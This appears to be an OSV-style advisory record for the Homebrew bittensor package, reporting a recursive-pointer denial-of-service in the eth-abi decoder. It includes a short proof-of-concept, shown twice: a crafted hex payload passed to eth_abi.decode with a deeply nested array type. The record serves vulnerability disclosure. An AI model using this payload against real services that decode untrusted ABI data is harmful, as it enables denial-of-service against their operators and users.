BREW-BITTENSOR-GHSA-3QWC… (GHSA-3QWC-47JF-5RF7)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:38 – Updated: 2026-09-02 08:47 – Source website
VLAI
Summary
eth-abi is vulnerable to recursive DoS
Details
This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue
from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))
decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "eth-abi",
"resource_purl": "pkg:pypi/eth-abi@5.2.0",
"upstream_fixed_in": "5.0.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "bittensor",
"purl": "pkg:brew/bittensor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/eth-abi@5.2.0",
"name": "eth-abi",
"resource": "eth-abi",
"strategy": "registry",
"subject_version": "5.2.0"
}
]
},
"details": "This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it\u0027s a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode([\u0027(uint256[][][][][][][][][][])\u0027], bytearray.fromhex(payload))\n\ndecode([\u0027uint256[][][][][][][][][][]\u0027], bytearray.fromhex(payload+(\u002700\u0027 * 1024)))\n```",
"id": "BREW-bittensor-GHSA-3qwc-47jf-5rf7",
"modified": "2026-09-02T08:47:26Z",
"published": "2026-08-13T16:38:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"
},
{
"type": "WEB",
"url": "https://github.com/ApeWorX/eth-abi/pull/226"
},
{
"type": "WEB",
"url": "https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"
},
{
"type": "PACKAGE",
"url": "https://github.com/ethereum/eth-abi"
}
],
"schema_version": "1.7.3",
"summary": "eth-abi is vulnerable to recursive DoS",
"upstream": [
"GHSA-3qwc-47jf-5rf7"
]
}
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